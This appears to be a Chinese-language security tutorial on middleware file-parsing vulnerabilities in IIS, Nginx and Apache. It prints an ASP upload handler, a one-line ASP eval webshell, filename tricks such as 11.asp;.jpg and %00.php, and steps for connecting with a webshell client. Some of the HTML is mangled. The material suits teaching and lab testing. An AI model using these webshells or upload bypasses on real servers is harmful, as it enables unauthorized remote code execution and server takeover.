解析漏洞—中間件
解析漏洞簡介
解析漏洞是指web服務器因對http請求處理不當導致將非可執行的腳本,文件等當做可執行的腳本,文件等執行。
該漏洞一般配合服務器的文件上傳功能使用,以獲取服務器的權限。
解析漏洞

常見的解析漏洞有以下幾種
- IIS 5.x/6.0解析漏洞
- IIS 7.0/IIS 7.5/
- Nginx <0.8.3畸形解析漏洞
- Nginx <8.03 空字節代碼執行漏洞
- Apache解析漏洞
1、IIS 5.x/6.0解析漏洞
首先,需要找到符合要求的IIS版本,版本號在這區間的IIS,asa、cer 、cdx文件會被當做asp文件執行。
所以當他禁止上傳asp文件時,可以上傳asa、cer 、cdx文件
這里我用的是IIS 6.0版本

文件
- html
<html>
<head>
<title>ASP無組件上傳類title>
<meta http-equiv="content-Type" content="text/html; charset=gb2312">
head>
<body>
<form action="aa.asp" method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');">
<input type="file" name="upFile"/>
<input type="submit" value="上傳文件"/>
form>
body>
html>
aa.asp
<%@ language="javascript"%>
<%
var self = Request.serverVariables("SCRIPT_NAME");
if (Request.serverVariables("REQUEST_METHOD")=="POST")
{
var oo = new uploadFile();
oo.path = ""; //存放路徑,為空表示當前路徑,默認為uploadFile
oo.named = "file"; //命名方式,date表示用日期來命名,file表示用文件名本身,默認為file
oo.ext = "jpg|gif|cer|asa"; //允許上傳的擴展名,all表示都允許,默認為all
oo.over = true; //當存在相同文件名時是否覆蓋,默認為false
oo.size = 1*1024*1024; //最大字節數限制,默認為1G
oo.upload();
Response.write(' location.replace("'</span>+<span class="code-snippet__keyword" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">self</span>+<span class="code-snippet__string" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">'") ');
}
//ASP無組件上傳類
function uploadFile()
{
var bLen = Request.totalBytes;
var bText = Request.binaryRead(bLen);
var oo = Server.createObject("ADODB.Stream");
oo.mode = 3;
this.path = "uploadFile";
this.named = "file";
this.ext = "jpg|gif|cer|asa";
this.over = false;
this.size = 1*1024*1024*1024; //1GB
//文件上傳
this.upload = function ()
{
var o = this.getInfo();
if (o.size> this.size)
{
alert("文件過大,不能上傳!");
return;
}
var f = this.getFileName();
var ext = f.replace(/^.+\./,"");
if (this.ext!="all"&&!new RegExp(this.ext.replace(/,/g," |"),"ig").test(ext))
{
alert("目前暫不支持擴展名為 "+ext+" 的文件上傳!");
return;
}
if (this.named=="date")
{
f = new Date().toLocaleString().replace(/\D/g,"") + "." + ext;
}
oo.open();
oo.type = 1;
oo.write(o.bin);
this.path = this.path.replace(/[^\/\\]$/,"$&/");
var fso = Server.createObject("Scripting.FileSystemObject");
if(this.path!=""&&!fso.folderExists(Server.mapPath(this.path)))
{
fso.createFolder(Server.mapPath(this.path));
}
try
{
oo.saveToFile(Server.mapPath(this.path+f),this.over?2:1);
alert("上傳成功!");
}
catch(e)
{
alert("對不起,此文件已存在!");
}
oo.close();
delete(oo);
}
//獲取二進制和文件字節數
this.getInfo = function ()
{
oo.open();
oo.type=1;
oo.write(bText);
oo.position = 0;
oo.type=2;
oo.charset="unicode";
var gbCode=escape(oo.readText()).replace(/%u(..)(..)/g,"%$2%$1");
var sPos=gbCode.indexOf("%0D%0A%0D%0A")+12;
var sLength=bLen-(gbCode.substring(0,gbCode.indexOf("%0D%0A")).length/3)-sPos/3-6;
oo.close();
oo.open();
oo.type = 1;
oo.write(bText);
oo.position=sPos/3;
var bFile=oo.read(sLength);
oo.close();
return { bin:bFile, size:sLength };
}
//獲取文件名
this.getFileName = function ()
{
oo.open();
oo.type = 2;
oo.writeText(bText);
oo.position = 0;
oo.charset = "gb2312";
var fileName = oo.readText().match(/filename=\"(.+?)\"/i)[1].split("\\").slice(-1)[0];
oo.close();
return fileName;
}
function alert(msg)
{
Response.write(' "> alert("</span><span class="code-snippet__string" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">'+msg+'</span><span class="code-snippet__string" mp-original-font-size="14" mp-original-line-height="26" style="outline: 0px;max-width: 1000%;line-height: 26px;box-sizing: border-box !important;overflow-wrap: break-word !important;">"); ');
}
}
%>
ASP無組件上傳類
" content="text/html; charset=gb2312">
self%> " method="post" enctype="multipart/form-data" onSubmit="return (this.upFile.value!='');">
" name="upFile"/>
" value="上傳文件"/>
11.cer
<%eval request("a")%>
利用方法
這里上傳一個cer文件


上傳成功后用菜刀連接,這里腳本類型選擇ASP(eval)

連接成功

2、IIS 6.0
IIS 6.0 有兩個單獨的解析漏洞
目錄解析
/xx.asp/xx.jpg
在網站下名字為 .asp、.asa 的文件夾,其目錄內的任何擴展名的文件都會被IIS當作asp文件來解析并執行。
例如有個目錄是 abc.asp,那么/abc.asp/1.jpg會被當作asp文件來執行。
這個漏洞很難遇到:
首先,得有個網站管理員取個名字為xx.asp的文件夾;然后,你還得有往這個文件夾上傳文件的權限
文件解析
11.asp;.jpg
在IIS6.0下,分號后面的內容不被解析,也就是說
11.asp;.jpg 會被服務器當做11.asp執行
所以如果禁止上傳asp文件時,可以上傳一個11.asp;.jpg 文件
同樣,利用前面的文件,開始上傳

然后利用菜刀連接

3、IIS 7.0/IIS 7.5/nginx0.8.3解析漏洞
在默認Fast-CGI開啟狀況下,上傳一個名字為bb.jpg的文件,然后訪問bb.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
bb.jpg
fputs(fopen('shell.php','w'),'');?>
然后訪問bb.jpg文件時,在后面加上./php,這個文件就會被當做php文件執行
因為沒找到合適版本的IIS,nginx,所以這里就不演示了
4、Nginx <0.8.03 空字節代碼執行漏洞
影響版:0.5.*,0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
同樣適用上面的圖片馬bb.jpg
在后面加上%00.php時,bb.jpg會被當做php文件執行
127.0.0.1/bb.jpg%00.php
5、apache解析漏洞
說到這個漏洞,就得說兩個消息
好消息:因為apache官方不承認這是一個漏洞,所以每個版本的apache都會有這個漏洞出現
壞消息:開發員大都知道且認為這是個漏洞,所以會有一定的防御措施
apache其余配置問題導致漏洞
(1)如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php, 這時只要文件名里包含.php就會以php文件來執行—— 即使文件名是 test.php.jpg ,jpg在右邊,也會以 php 來執行。
(2)如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg,一樣會以 php 方式執行。